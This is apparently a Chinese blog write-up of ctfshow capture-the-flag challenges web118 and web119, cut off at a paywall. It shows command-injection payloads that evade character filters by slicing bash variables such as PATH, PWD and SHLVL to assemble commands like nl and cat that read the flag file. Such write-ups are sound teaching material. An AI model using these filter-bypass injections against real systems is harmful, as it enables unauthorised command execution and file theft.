[ctfshow]web入门——命令执行（web118-web122+web124）

shu天

已于 2022-03-01 09:59:38 修改

阅读量4k

点赞数 5

分类专栏： ctf # web 文章标签： php web 命令执行 ctf

于 2022-02-28 15:14:11 首次发布

不允许转载

本文链接：https://blog.csdn.net/weixin_46081055/article/details/121721209

版权

本文详细介绍了CTFShow中的Web挑战，涉及命令执行漏洞利用，包括Web118到Web122及Web124的解决方案。通过禁止的函数、变量和进制转换等手段构造payload，如使用${PATH}、${#}、${PWD}等。同时分享了相关资源链接和博客主页，供读者深入学习。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[ctfshow]web入门——命令执行

本文来自csdn的⭐️shu天⭐️，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主看看ヾ(＠ ˘ω˘ ＠)ノ！！

web118

源码里有提示
在这里插入图片描述

非法输入会有evil input

fuzz一下发现可以用大写字母A-Z和${}~.?:

# echo ${PWD} 
/root

# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/           

# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}      
t

# echo ${PWD:~A}       #所以字母和0具有同样作用             
t

# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

//利用系统变量构造nl命令
${
   PATH:~A}${
   PWD:~A}$IFS????.???

${
   PATH:~A}${
   PWD:~A}是nl

在这里插入图片描述

还有别的利用${PATH}构造的payload

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1，然后在此shell中再打开一个shell时${SHLVL}=2。
${PWD:${#}:${SHLVL}}就输出/

${#}是0，${SHLVL}为1
${#PWD}是回显字符数，${PWD} 是/root，${#PWD}是5

因为数字被屏蔽了，所以需要${#}来替代数字，截取想要的字符串

#${RANDOM}是随机数，${#RANDOM}一般是5，也可能是4
${
   PATH:${
   #HOME}:${
   #SHLVL}}${
   PATH:${
   #RANDOM}:${
   #SHLVL}} ?${
   PATH:${
   #RANDOM}:${
   #SHLVL}}??.???

#其他师傅
${
   PATH:~A}${
   PATH:${
   #TERM}:${
   SHLVL:~A}} ????.???

web119

这次禁用了${PATH

PHP_VERSION=7.3.22
在这里插入图片描述
payload为

${
   PWD:${
   #}:${
   #SHLVL}}???${
   PWD:${
   #}:${
   #SHLVL}}?${
   USER:~${
   PHP_VERSION:~A}:${
   PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# USER=www-data
# payload即为 /???/?at ???<

最低0.47元/天解锁文章